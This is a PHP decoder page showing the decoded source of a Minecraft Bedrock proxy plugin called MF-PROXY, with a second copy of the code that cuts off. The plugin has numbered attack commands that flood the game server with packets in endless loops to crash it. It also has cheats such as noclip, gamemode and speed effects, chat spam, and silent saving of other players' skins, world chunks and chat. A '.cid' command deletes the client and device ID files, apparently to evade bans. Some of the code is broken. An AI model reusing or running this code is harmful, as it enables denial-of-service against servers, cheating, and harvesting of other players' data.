Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php declare(strict_types=1);namespace Mofik\MFPROXY;use proxy\plugin\Plugin;use proxy\ut..
Decoded Output download
<?php declare(strict_types=1);namespace Mofik\MFPROXY;use proxy\plugin\Plugin;use proxy\utils\Log;use pocketmine\utils\Terminal;use pocketmine\utils\Config;use pocketmine\math\Vector3;use pocketmine\nbt\NetworkLittleEndianNBTStream;use pocketmine\nbt\tag\CompoundTag;use pocketmine\nbt\tag\StringTag;use pocketmine\nbt\tag\IntTag;use pocketmine\item\Item;use pocketmine\network\mcpe\protocol\{DataPacket,FullChunkDataPacket,PlayerListPacket,TextPacket,AddItemPacket,AddEfftctPacket,AnimatePacket,ClientboundMapItemDataPacket,RequestChunkRadiusPacket,LevelSoundEventPacket,ResourcePackClientResponsePacket,EntityEventPacket,MovePlayerPacket,BlockEntityDataPacket,InteractPacket,UpdateBlockPacket,PlayerActionPacket,RemoveBlockPacket,PlayStatusPacket,LoginPacket,MobEffectPacket,StartGamePacket,DisconnectPacket};class Main extends Plugin{/** @var particles */ public $particles=false;public $spam=false;public $spamTicker=0;public $music=false;public $musicTicker=0;public $eatItems=[260,297,319,322,360,391];public $eatTicker=0;public $eatItemOffset=0;/**
var StartGamePacket
*/ public $spawnData;/**
* @var Main
*/ static private $instance;/**
* @return Main
*/ public static function getInstance():Main{return self::$instance;}/**
* Called when the plugin is enabled
*/ public function onEnable():void{$config=new Config("config.yml",Config::YAML,["server-ip"=>"example.com","bind"=>19132,"debug-mode"=>1,"server-port"=>19132,"interface"=>"0.0.0.0","without-plugins"=>false,"skins-download"=>false,"worlds-download"=>false,"messages-download"=>true]);$settings=$config->getAll();Log::Warn("
");Log::Success(" ".$settings["server-ip"].":".$settings["server-port"]."\n ...");Log::INFO(" , ");@mkdir("./worlds_download");@mkdir("./worlds_download/".$settings["server-ip"]."-".$settings["server-port"]);@mkdir("./skins_download");@mkdir("./skins_download/".$settings["server-ip"]."-".$settings["server-port"]);@mkdir("./logs");@mkdir("./logs/".$settings["server-ip"]."-".$settings["server-port"]);Main::$instance=$this;}/**
* @return void
*/ public function pluginTick():bool{if($this->particles){$this->eatParticle();}if($this->spam){$this->spam();}if($this->music){$this->music();}return true;}/**
* @return void
*/ public function spam(){$this->spamTicker++;$text=array("aMF-PROXY! 1 "," aMF-PROXY!","aMF-PROXY! "," aMF-PROXY!"," aMF-PROXY!");$rand=array_rand($text);if($this->spamTicker<21)$this->sendText($text[$rand]);if($this->spamTicker>40)$this->spamTicker=0;}/**
* @return void
*/ public function music(){$this->musicTicker++;$pk=new LevelSoundEventPacket();$pk->x=$this->proxy->getClient()->x;$pk->y=$this->proxy->getClient()->y;$pk->z=$this->proxy->getClient()->z;$pk->sound=rand(1,100);$this->proxy->getClient()->dataPacket($pk);}public function eatParticle():void{if($this->eatItemOffset>=count($this->eatItems)){$this->eatItemOffset=0;}$pk=new EntityEventPacket();$pk->entityRuntimeId=$this->proxy->getClient()->entityRuntimeId;$pk->x=$this->proxy->getClient()->x;$pk->y=$this->proxy->getClient()->y;$pk->z=$this->proxy->getClient()->z;$pk->event=57;$pk->data=$this->eatItems[$this->eatItemOffset];$this->proxy->getClient()->dataPacket($pk);if($this->eatTicker++>=100){$this->eatTicker=0;$this->eatItemOffset++;}}/**
* @param string $message
*
* @return void
*/ public function sendText(string $message):void{$pk=new TextPacket();$pk->type=1;$pk->source="";$pk->message=$message;$pk->parameters=[];$this->proxy->getClient()->dataPacket($pk);$this->proxy->getServer()->dataPacket($pk);Log::Warn("ProxySend >> : ".$message);}/**
* @param string $bytes
* @param int $w
* @param int $h
*
* @return false|resource
*/ public static function skinBytesToGdResource(string $bytes,int&$w,int&$h){$len=strlen($bytes);switch($len){case 8192:$w=64;$h=32;break;case 16384:$w=$h=64;break;case 65536:$w=$h=128;break;default:throw new \InvalidArgumentException("Invalid skin data size $len bytes");}$bytes=str_split($bytes);$img=imagecreatetruecolor($w,$h);imagesavealpha($img,true);$trnsprnt=imagecolorallocatealpha($img,0,0,0,127);imagefill($img,0,0,$trnsprnt);for($i=0,$y=0;$y<$h;$y++){for($x=0;$x<$w;$x++){$r=ord($bytes[$i++]);$g=ord($bytes[$i++]);$b=ord($bytes[$i++]);$a=ord($bytes[$i++]);imagesetpixel($img,$x,$y,imagecolorallocatealpha($img,$r,$g,$b,(int)(127-$a/2)));}}return $img;}/**
* @param string $message
*
* @return string
*/ public function getColorMessage(string $message):string{$message=str_replace("6",Terminal::$COLOR_GOLD,$message);$message=str_replace("0",Terminal::$COLOR_BLACK,$message);$message=str_replace("1",Terminal::$COLOR_DARK_BLUE,$message);$message=str_replace("9",Terminal::$COLOR_DARK_BLUE,$message);$message=str_replace("2",Terminal::$COLOR_DARK_GREEN,$message);$message=str_replace("4",Terminal::$COLOR_DARK_RED,$message);$message=str_replace("3",Terminal::$COLOR_DARK_AQUA,$message);$message=str_replace("c",Terminal::$COLOR_RED,$message);$message=str_replace("d",Terminal::$COLOR_LIGHT_PURPLE,$message);$message=str_replace("e",Terminal::$COLOR_YELLOW,$message);$message=str_replace("5",Terminal::$COLOR_PURPLE,$message);$message=str_replace("o",Terminal::$FORMAT_ITALIC,$message);$message=str_replace("k",Terminal::$FORMAT_OBFUSCATED,$message);$message=str_replace("a",Terminal::$COLOR_GREEN,$message);$message=str_replace("b",Terminal::$COLOR_AQUA,$message);$message=str_replace("8",Terminal::$COLOR_DARK_GRAY,$message);$message=str_replace("f",Terminal::$COLOR_WHITE,$message);$message=str_replace("r",Terminal::$FORMAT_RESET,$message);$message=str_replace("7",Terminal::$COLOR_GRAY,$message);$message=str_replace("l",Terminal::$FORMAT_BOLD,$message);return $message;}/**
* @param string $message
*
* @return string
*/ public function getMessageWithoutColors(string $message):string{$find=["1","k","2","3","4","5","6","7","8","9","0","c","e","a","b","d","f","l","m","n","o","r","@all","@","@online","@everyone"];$message=str_replace($find,"",$message);return $message;}/**
* @param DataPacket $packet
*
* @return bool
*/ public function handleServerDataPacket(DataPacket $packet):bool{$config=new Config("config.yml",Config::YAML,["server-ip"=>"example.com","bind"=>19132,"debug-mode"=>1,"server-port"=>19132,"interface"=>"0.0.0.0","without-plugins"=>false,"skins-download"=>false,"worlds-download"=>false,"messages-download"=>false]);$settings=$config->getAll();if($packet instanceof PlayStatusPacket){$packet->decode();if($packet->status===3){$data=$this->spawnData;if($data!==null){Log::Info(Terminal::$COLOR_AQUA."\nProxyStartGamePacket:");Log::Info(Terminal::$COLOR_YELLOW."\n : X: ".$data->spawnX.", Y: ".$data->spawnY.", Z: ".$data->spawnZ);Log::Info(Terminal::$COLOR_GREEN."\n: ".$data->worldName);Log::Info(Terminal::$COLOR_RED."\n : ".$data->worldGamemode."\n");$this->proxy->getClient()->sendMessage("b : cX: ".$data->spawnX.", Y: ".$data->spawnY.", Z: ".$data->spawnZ);$this->proxy->getClient()->sendMessage("a: c".$data->worldName);$this->proxy->getClient()->sendMessage("b : c".$data->worldGamemode);$this->proxy->getClient()->sendMessage("d: a");$this->proxy->getClient()->sendMessage("r8[lbProxyr8] f aMF-PROXY!\n\n7 b 7- .help");}}}if($packet instanceof PlayerListPacket){if($settings["skins-download"]===true){$packet->decode();$i=0;foreach($packet->entries as $player){if(isset($player[2])){$w=$h=0;$image=$this->skinBytesToGdResource($player[4],$w,$h);imagepng($image,"./skins_download/".$settings["server-ip"]."-".$settings["server-port"]."/".$this->getMessageWithoutColors($player[2]).".png");++$i;$message="ProxySkins >> : ".$player[2];Log::Warn($message);$this->proxy->getClient()->sendMessage($message);}}$message="ProxySkins >> ".$i." ";Log::Info($message);$this->proxy->getClient()->sendMessage($message);}}if($packet instanceof TextPacket){if($settings["messages-download"]===true){$packet->decode();switch($packet->type){case 0:$cfg=new Config("./logs/".$settings["server-ip"]."-".$settings["server-port"]."/messages.yml",Config::YAML);$cfg->set($packet->message);$cfg->save();Log::Info($this->getColorMessage($packet->message));break;case 4:$cfg=new Config("./logs/".$settings["server-ip"]."-".$settings["server-port"]."/hotbar.yml",Config::YAML);$cfg->set($packet->message);$cfg->save();break;}}}if($packet instanceof FullChunkDataPacket){if($settings["worlds-download"]===true){$packet->decode();file_put_contents("./worlds_download/".$settings["server-ip"]."-".$settings["server-port"]."/".$packet->chunkX."_".$packet->chunkZ,$packet->buffer);$message="ProxyWorlds >> ".$packet->chunkX."_".$packet->chunkZ."...";Log::Warn($message);$this->proxy->getClient()->sendMessage($message);}}return true;}/**
* @param DataPacket $packet
*
* @return bool
*/ public function sendMessage(string $message,int $type=TextPacket::TYPE_RAW):void{$pk=new TextPacket;$pk->type=$type;$pk->message=$message;$pk->source="";$this->dataPacket($pk);}public function handleClientDataPacket(DataPacket $packet):bool{$config=new Config("config.yml",Config::YAML,["server-ip"=>"example.com","bind"=>19132,"debug-mode"=>1,"server-port"=>19132,"interface"=>"0.0.0.0","without-plugins"=>false,"skins-download"=>false,"worlds-download"=>false,"messages-download"=>false]);$settings=$config->getAll();if($packet instanceof TextPacket){$packet->decode();$args=explode(" ",$packet->message);$cmd=$args[0];switch($cmd){case ".crash":$pk=new EntityEventPacket();$pk->entityRuntimeId=$this->proxy->getClient()->entityRuntimeId;$pk->event=57;$pk->data=999999;$this->proxy->getClient()->dataPacket($pk);$this->proxy->getClient()->sendMessage("f[c!f] !");break;case ".jump":$this->proxy->getClient()->sendMessage("ProxyCheats jump !");$pk=new MobEffectPacket();$pk->entityRuntimeId=$this->proxy->getClient()->entityRuntimeId;$pk->eventId=1;$pk->effectId=8;$pk->amplifier=3;$pk->duration=99999;$pk->particles=false;$this->proxy->getClient()->dataPacket($pk);return false;break;case ".fastbreak":$this->proxy->getClient()->sendMessage("ProxyCheats fastbreak !");$pk=new MobEffectPacket();$pk->entityRuntimeId=$this->proxy->getClient()->entityRuntimeId;$pk->eventId=1;$pk->effectId=3;$pk->amplifier=15;$pk->duration=99999;$pk->particles=false;$this->proxy->getClient()->dataPacket($pk);return false;break;case ".give":if(!isset($args[1])){$this->proxy->getClient()->sendMessage("f[c!f] !");return true;}$item=Item::get((int)$args[1],isset($args[2])?(int)$args[2]:0,1);$pk=new AddItemPacket();$pk->item=$item;$this->proxy->getClient()->dataPacket($pk);$this->proxy->getClient()->sendMessage("f[c!f] !");break;case ".bag":$this->proxy->getClient()->sendMessage("b DEFAULT ( mf_proxy 2.0 , - )");break;case ".1":Log::Info("ProxyAttack >> 1...");$this->proxy->getClient()->sendMessage("f[c!f] 1 ...");while(true){$p=new AnimatePacket();$p->action=1;$p->entityRuntimeId=$this->proxy->getClient()->entityRuntimeId;$p3=new RequestChunkRadiusPacket();$p3->radius=mt_rand(8,45);$pk3=[];for($i=0;$i<299;$i++){$pk3[$i]=$p3;}$this->proxy->getServer()->dataPacket($p);$this->proxy->getServer()->dataPacket($pk3);}break;case ".2":Log::Info("ProxyAttack >> 2...");$this->proxy->getClient()->sendMessage("f[c!f] 2 ...");while(true){$pk=new LevelSoundEventPacket();$pk->x=$this->proxy->getClient()->x;$pk->y=$this->proxy->getClient()->y;$pk->z=$this->proxy->getClient()->z;$pks=[];for($i=0;$i<299;$i++){$pk->sound=rand(1,100);$pks[$i]=$pk;}$this->proxy->getServer()->dataPacket($pks);}break;break;case ".par":Log::Info("ProxyAttack >> ...");$this->proxy->getClient()->sendMessage("f[c!f] ...");$id=19&0xFFF;$date=0;$pk=new LevelEventPacket;while(true){$pk->evid=LevelEventPacket::EVENT_ADD_PARTICLE_MASK|$id;$pk->x=$this->proxy->getClient()->x;$pk->y=$this->proxy->getClient()->y;$pk->z=$this->proxy->getClient()->z;$pk->data=$data;$this->proxy->getServer()->dataPacket($pk);var_dump($pk);}break;case ".3":Log::Info("ProxyAttack >> 3...");$this->proxy->getClient()->sendMessage("f[c!f] 3 ...");while(true){$pk=new ResourcePackClientResponsePacket();$pk->status=ResourcePackClientResponsePacket::STATUS_COMPLETED;$pks=[];for($i=0;$i<299;$i++){$pks[$i]=$pk;}$this->proxy->getServer()->dataPacket($pks);}break;case ".4":Log::Info("ProxyAttack >> 4...");$this->proxy->getClient()->sendMessage("f[c!f] 4 ...");while(true){$pk=new BlockEntityDataPacket();$pk->x=$position->x;$pk->y=$position->y;$pk->z=$position->z;$pk->namedtag="gg";$pks=[];for($i=0;$i<299;$i++){$pks[$i]=$pk;}$this->proxy->getServer()->dataPacket($pks);}break;case ".5":Log::Info("ProxyAttack >> 5...");$this->proxy->getClient()->sendMessage("f[c!f] 5 ...");while(true){$pk=new ClientboundMapItemDataPacket();$pk->mapId=1;$pk->type=0x08;$pk->eids=[0,2,3,4,5];$pks=[];for($i=0;$i<299;$i++){$pks[$i]=$pk;}$this->proxy->getServer()->dataPacket($pks);}break;case ".6":Log::Info("ProxyAttack 6...");$this->proxy->getClient()->sendMessage("f[c!f] 6 ...");while(true){$pk=new InteractPacket();$pk->action=2;$pk->target=$this->proxy->getClient()->entityRuntimeId;$pks=[];for($i=0;$i<200;$i++){$pks[$i]=$pk;$pks[$i]->target=rand(1,9999);}$this->proxy->getServer()->dataPacket($pks);}break;case ".7":Log::Info("ProxyAttack 7...");$this->proxy->getClient()->sendMessage("f[c!f] 7 ...");while(true){$pk=new MovePlayerPacket();$pk->entityRuntimeId=$this->proxy->getClient()->entityRuntimeId;$pk->onGround=true;$pks=[];for($i=0;$i<299;$i++){$pk->x=rand(1,99999);$pk->y=rand(1,200);$pk->z=rand(1,99999);$pk->yaw=rand(-180,180);$pk->bodyYaw=rand(-180,180);$pk->pitch=rand(-180,180);$pks[$i]=$pk;}$this->proxy->getServer()->dataPacket($pks);}break;case ".8":$pk=new RemoveBlockPacket();$pk->x=$this->proxy->getClient()->x+2;$pk->y=$this->proxy->getClient()->y-1;$pk->z=$this->proxy->getClient()->z;for($i=0;$i<299;$i++)$pks[$i]=$pk;$this->proxy->getServer()->dataPacket($pks);break;case ".spam":$this->spam=$this->spam?false:true;break;case ".s-d":if($settings["skins-download"]===false){$config->set("skins-download",true);$config->save();Log::Info("ProxySkins >> !");$this->proxy->getClient()->sendMessage("ProxySkins >> af.");}else{$config->set("skins-download",false);$config->save();Log::Info("ProxySkins >> !");$this->proxy->getClient()->sendMessage("ProxySkins >> cf.");}break;case ".w-d":if($settings["worlds-download"]===false){$config->set("worlds-download",true);$config->save();Log::Info("ProxyWorlds >> !");$this->proxy->getClient()->sendMessage("ProxyWorlds >> af.");}else{$config->set("worlds-download",false);$config->save();Log::Info("ProxyWorlds >> !");$this->proxy->getClient()->sendMessage("ProxyWorlds >> cf.");}break;case ".m-d":if($settings["messages-download"]===false){$config->set("messages-download",true);$config->save();Log::Info("ProxyMessages >> !");$this->proxy->getClient()->sendMessage("ProxyMessages >> af.");}else{$config->set("messages-download",false);$config->save();Log::Info("ProxyMessages >> !");$this->proxy->getClient()->sendMessage("ProxyMessages >> cf.");}break;case ".particles":$this->particles=$this->particles?false:true;$this->proxy->getClient()->sendMessage("ProxyParticles >> ".($this->particles?"a":"c")."f!");break;case ".help":$this->proxy->getClient()->sendMessage("7 - e. 7- f . : 1, 2, 3, 4, 5, 6, 7, 8 , 9 , 10.\n7 - e.-d 7- f . : s - , w - , m - .\n7 - e.noclip7- f , .\n7 - e.offnoclip7- f , .\n7 - e.particles 7- f/ .\n7 - e.give7- f .\n7 - e.spam7- f {aMF-PROXY! f} VIP.\n7 - e.crash7- f f(cf).\n7 - e.android7- f .\n7 - e.music7- f .\n7 - e.xyz7- f .\n7 - e.bag7- f , .\n7 - e.jump7- f 3.\n7 - e.fastbreak7- f ( ).\n7 - e.cid7- f cid Deviced, .\n7 - e.gm17- f Gamemode 1, , .\n7 - e.gm07- f Gamemode 0");$this->proxy->getClient()->sendMessage("\n7 * f :\n 7- e1 f- Animate + RequestChunkRadius\n 7- e2 f- LevelSoundEvent\n 7- e3 f- ResourcePackClientResponse\n 7- e4 f- BlockEntityDataPacket f(cf)\n 7- e5 f- ClientboundMapItemDataPacket\n 7- e6 f- RemoveBlockPacket\n 7- e7 f- PlayerActionPacket\n 7- e8 f- InteractPacket\n 7- e9 f- MovePlayerPacket\n 7- e10 f- RemoveBlockPacket");$this->proxy->getClient()->sendMessage("\n\n eVIP b!");break;case ".android":$this->proxy->getClient()->sendMessage("ProxyCheats >> b android mf_proxy 2.0 /1-3 ");
break;
case ".":
$this->proxy->getClient()->sendMessage("\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n");
break;
case ".noclip":
$this->proxy->getClient()->sendMessage("ProxyCheats>> noclip !");
$this->proxy->getClient()->setNoclip(true);
break;
case ".gm1":
$this->proxy->getClient()->sendMessage("ProxyCheats>> Gamemode ");
$this->proxy->getClient()->setGamemode(1);
break;
case ".gm0":
$this->proxy->getClient()->sendMessage("ProxyCheats>> Gamemode ");
$this->proxy->getClient()->setGamemode(0);
break;
case ".cid":
$this->proxy->getClient()->sendMessage("ecid f,e ");
@exec('del C:\Users\user\AppData\Local\Packages\Microsoft.MinecraftUWP_8wekyb3d8bbwe\LocalState\games\com.mojang\minecraftpe\clientId.txt');
@exec('del C:\Users\user\AppData\Local\Packages\Microsoft.MinecraftUWP_8wekyb3d8bbwe\LocalState\games\com.mojang\minecraftpe\deviceid.txt');
break;
case ".offnoclip":
$this->proxy->getClient()->sendMessage("ProxyCheats>> noclip !");
$this->proxy->getClient()->setNoclip(false);
break;
case ".xyz":
// $this->proxy->getClient()->sendMessage('b : cX: ".$data->spawnX.", Y: ".$data->spawnY.", Z: ".$data->spawnZ');
break;
case ".el":
$this->proxy->getClient()->sendMessage("ProxyCheats >> ");
$pk = new PlayerActionPacket();
$pk->entityRuntimeId = $this->proxy->getClient()->entityRuntimeId;
$pk->action = PlayerActionPacket::ACTION_START_GLIDE;
$pk->face = 0;
$pk->x = $this->proxy->getClient()->getX();
$pk->y = $this->proxy->getClient()->getY();
$pk->z = $this->proxy->getClient()->getZ();
$this->proxy->getServer()->dataPacket($pk);
print_r($pk);
break;
case ".music":
$this->music = $this->music ? false : true;
$this->proxy->getClient()->sendMessage("ProxyMusic >> " . ($this->music ? "a" : "c") . "f!");
break;
}
}
return true;
}
} ?>
Did this file decode correctly?
Original Code
<?php declare(strict_types=1);namespace Mofik\MFPROXY;use proxy\plugin\Plugin;use proxy\utils\Log;use pocketmine\utils\Terminal;use pocketmine\utils\Config;use pocketmine\math\Vector3;use pocketmine\nbt\NetworkLittleEndianNBTStream;use pocketmine\nbt\tag\CompoundTag;use pocketmine\nbt\tag\StringTag;use pocketmine\nbt\tag\IntTag;use pocketmine\item\Item;use pocketmine\network\mcpe\protocol\{DataPacket,FullChunkDataPacket,PlayerListPacket,TextPacket,AddItemPacket,AddEfftctPacket,AnimatePacket,ClientboundMapItemDataPacket,RequestChunkRadiusPacket,LevelSoundEventPacket,ResourcePackClientResponsePacket,EntityEventPacket,MovePlayerPacket,BlockEntityDataPacket,InteractPacket,UpdateBlockPacket,PlayerActionPacket,RemoveBlockPacket,PlayStatusPacket,LoginPacket,MobEffectPacket,StartGamePacket,DisconnectPacket};class Main extends Plugin{/** @var particles */ public $particles=false;public $spam=false;public $spamTicker=0;public $music=false;public $musicTicker=0;public $eatItems=[260,297,319,322,360,391];public $eatTicker=0;public $eatItemOffset=0;/**
var StartGamePacket
*/ public $spawnData;/**
* @var Main
*/ static private $instance;/**
* @return Main
*/ public static function getInstance():Main{return self::$instance;}/**
* Called when the plugin is enabled
*/ public function onEnable():void{$config=new Config("config.yml",Config::YAML,["server-ip"=>"example.com","bind"=>19132,"debug-mode"=>1,"server-port"=>19132,"interface"=>"0.0.0.0","without-plugins"=>false,"skins-download"=>false,"worlds-download"=>false,"messages-download"=>true]);$settings=$config->getAll();Log::Warn("
");Log::Success(" ".$settings["server-ip"].":".$settings["server-port"]."\n ...");Log::INFO(" , ");@mkdir("./worlds_download");@mkdir("./worlds_download/".$settings["server-ip"]."-".$settings["server-port"]);@mkdir("./skins_download");@mkdir("./skins_download/".$settings["server-ip"]."-".$settings["server-port"]);@mkdir("./logs");@mkdir("./logs/".$settings["server-ip"]."-".$settings["server-port"]);Main::$instance=$this;}/**
* @return void
*/ public function pluginTick():bool{if($this->particles){$this->eatParticle();}if($this->spam){$this->spam();}if($this->music){$this->music();}return true;}/**
* @return void
*/ public function spam(){$this->spamTicker++;$text=array("aMF-PROXY! 1 "," aMF-PROXY!","aMF-PROXY! "," aMF-PROXY!"," aMF-PROXY!");$rand=array_rand($text);if($this->spamTicker<21)$this->sendText($text[$rand]);if($this->spamTicker>40)$this->spamTicker=0;}/**
* @return void
*/ public function music(){$this->musicTicker++;$pk=new LevelSoundEventPacket();$pk->x=$this->proxy->getClient()->x;$pk->y=$this->proxy->getClient()->y;$pk->z=$this->proxy->getClient()->z;$pk->sound=rand(1,100);$this->proxy->getClient()->dataPacket($pk);}public function eatParticle():void{if($this->eatItemOffset>=count($this->eatItems)){$this->eatItemOffset=0;}$pk=new EntityEventPacket();$pk->entityRuntimeId=$this->proxy->getClient()->entityRuntimeId;$pk->x=$this->proxy->getClient()->x;$pk->y=$this->proxy->getClient()->y;$pk->z=$this->proxy->getClient()->z;$pk->event=57;$pk->data=$this->eatItems[$this->eatItemOffset];$this->proxy->getClient()->dataPacket($pk);if($this->eatTicker++>=100){$this->eatTicker=0;$this->eatItemOffset++;}}/**
* @param string $message
*
* @return void
*/ public function sendText(string $message):void{$pk=new TextPacket();$pk->type=1;$pk->source="";$pk->message=$message;$pk->parameters=[];$this->proxy->getClient()->dataPacket($pk);$this->proxy->getServer()->dataPacket($pk);Log::Warn("ProxySend >> : ".$message);}/**
* @param string $bytes
* @param int $w
* @param int $h
*
* @return false|resource
*/ public static function skinBytesToGdResource(string $bytes,int&$w,int&$h){$len=strlen($bytes);switch($len){case 8192:$w=64;$h=32;break;case 16384:$w=$h=64;break;case 65536:$w=$h=128;break;default:throw new \InvalidArgumentException("Invalid skin data size $len bytes");}$bytes=str_split($bytes);$img=imagecreatetruecolor($w,$h);imagesavealpha($img,true);$trnsprnt=imagecolorallocatealpha($img,0,0,0,127);imagefill($img,0,0,$trnsprnt);for($i=0,$y=0;$y<$h;$y++){for($x=0;$x<$w;$x++){$r=ord($bytes[$i++]);$g=ord($bytes[$i++]);$b=ord($bytes[$i++]);$a=ord($bytes[$i++]);imagesetpixel($img,$x,$y,imagecolorallocatealpha($img,$r,$g,$b,(int)(127-$a/2)));}}return $img;}/**
* @param string $message
*
* @return string
*/ public function getColorMessage(string $message):string{$message=str_replace("6",Terminal::$COLOR_GOLD,$message);$message=str_replace("0",Terminal::$COLOR_BLACK,$message);$message=str_replace("1",Terminal::$COLOR_DARK_BLUE,$message);$message=str_replace("9",Terminal::$COLOR_DARK_BLUE,$message);$message=str_replace("2",Terminal::$COLOR_DARK_GREEN,$message);$message=str_replace("4",Terminal::$COLOR_DARK_RED,$message);$message=str_replace("3",Terminal::$COLOR_DARK_AQUA,$message);$message=str_replace("c",Terminal::$COLOR_RED,$message);$message=str_replace("d",Terminal::$COLOR_LIGHT_PURPLE,$message);$message=str_replace("e",Terminal::$COLOR_YELLOW,$message);$message=str_replace("5",Terminal::$COLOR_PURPLE,$message);$message=str_replace("o",Terminal::$FORMAT_ITALIC,$message);$message=str_replace("k",Terminal::$FORMAT_OBFUSCATED,$message);$message=str_replace("a",Terminal::$COLOR_GREEN,$message);$message=str_replace("b",Terminal::$COLOR_AQUA,$message);$message=str_replace("8",Terminal::$COLOR_DARK_GRAY,$message);$message=str_replace("f",Terminal::$COLOR_WHITE,$message);$message=str_replace("r",Terminal::$FORMAT_RESET,$message);$message=str_replace("7",Terminal::$COLOR_GRAY,$message);$message=str_replace("l",Terminal::$FORMAT_BOLD,$message);return $message;}/**
* @param string $message
*
* @return string
*/ public function getMessageWithoutColors(string $message):string{$find=["1","k","2","3","4","5","6","7","8","9","0","c","e","a","b","d","f","l","m","n","o","r","@all","@","@online","@everyone"];$message=str_replace($find,"",$message);return $message;}/**
* @param DataPacket $packet
*
* @return bool
*/ public function handleServerDataPacket(DataPacket $packet):bool{$config=new Config("config.yml",Config::YAML,["server-ip"=>"example.com","bind"=>19132,"debug-mode"=>1,"server-port"=>19132,"interface"=>"0.0.0.0","without-plugins"=>false,"skins-download"=>false,"worlds-download"=>false,"messages-download"=>false]);$settings=$config->getAll();if($packet instanceof PlayStatusPacket){$packet->decode();if($packet->status===3){$data=$this->spawnData;if($data!==null){Log::Info(Terminal::$COLOR_AQUA."\nProxyStartGamePacket:");Log::Info(Terminal::$COLOR_YELLOW."\n : X: ".$data->spawnX.", Y: ".$data->spawnY.", Z: ".$data->spawnZ);Log::Info(Terminal::$COLOR_GREEN."\n: ".$data->worldName);Log::Info(Terminal::$COLOR_RED."\n : ".$data->worldGamemode."\n");$this->proxy->getClient()->sendMessage("b : cX: ".$data->spawnX.", Y: ".$data->spawnY.", Z: ".$data->spawnZ);$this->proxy->getClient()->sendMessage("a: c".$data->worldName);$this->proxy->getClient()->sendMessage("b : c".$data->worldGamemode);$this->proxy->getClient()->sendMessage("d: a");$this->proxy->getClient()->sendMessage("r8[lbProxyr8] f aMF-PROXY!\n\n7 b 7- .help");}}}if($packet instanceof PlayerListPacket){if($settings["skins-download"]===true){$packet->decode();$i=0;foreach($packet->entries as $player){if(isset($player[2])){$w=$h=0;$image=$this->skinBytesToGdResource($player[4],$w,$h);imagepng($image,"./skins_download/".$settings["server-ip"]."-".$settings["server-port"]."/".$this->getMessageWithoutColors($player[2]).".png");++$i;$message="ProxySkins >> : ".$player[2];Log::Warn($message);$this->proxy->getClient()->sendMessage($message);}}$message="ProxySkins >> ".$i." ";Log::Info($message);$this->proxy->getClient()->sendMessage($message);}}if($packet instanceof TextPacket){if($settings["messages-download"]===true){$packet->decode();switch($packet->type){case 0:$cfg=new Config("./logs/".$settings["server-ip"]."-".$settings["server-port"]."/messages.yml",Config::YAML);$cfg->set($packet->message);$cfg->save();Log::Info($this->getColorMessage($packet->message));break;case 4:$cfg=new Config("./logs/".$settings["server-ip"]."-".$settings["server-port"]."/hotbar.yml",Config::YAML);$cfg->set($packet->message);$cfg->save();break;}}}if($packet instanceof FullChunkDataPacket){if($settings["worlds-download"]===true){$packet->decode();file_put_contents("./worlds_download/".$settings["server-ip"]."-".$settings["server-port"]."/".$packet->chunkX."_".$packet->chunkZ,$packet->buffer);$message="ProxyWorlds >> ".$packet->chunkX."_".$packet->chunkZ."...";Log::Warn($message);$this->proxy->getClient()->sendMessage($message);}}return true;}/**
* @param DataPacket $packet
*
* @return bool
*/ public function sendMessage(string $message,int $type=TextPacket::TYPE_RAW):void{$pk=new TextPacket;$pk->type=$type;$pk->message=$message;$pk->source="";$this->dataPacket($pk);}public function handleClientDataPacket(DataPacket $packet):bool{$config=new Config("config.yml",Config::YAML,["server-ip"=>"example.com","bind"=>19132,"debug-mode"=>1,"server-port"=>19132,"interface"=>"0.0.0.0","without-plugins"=>false,"skins-download"=>false,"worlds-download"=>false,"messages-download"=>false]);$settings=$config->getAll();if($packet instanceof TextPacket){$packet->decode();$args=explode(" ",$packet->message);$cmd=$args[0];switch($cmd){case ".crash":$pk=new EntityEventPacket();$pk->entityRuntimeId=$this->proxy->getClient()->entityRuntimeId;$pk->event=57;$pk->data=999999;$this->proxy->getClient()->dataPacket($pk);$this->proxy->getClient()->sendMessage("f[c!f] !");break;case ".jump":$this->proxy->getClient()->sendMessage("ProxyCheats jump !");$pk=new MobEffectPacket();$pk->entityRuntimeId=$this->proxy->getClient()->entityRuntimeId;$pk->eventId=1;$pk->effectId=8;$pk->amplifier=3;$pk->duration=99999;$pk->particles=false;$this->proxy->getClient()->dataPacket($pk);return false;break;case ".fastbreak":$this->proxy->getClient()->sendMessage("ProxyCheats fastbreak !");$pk=new 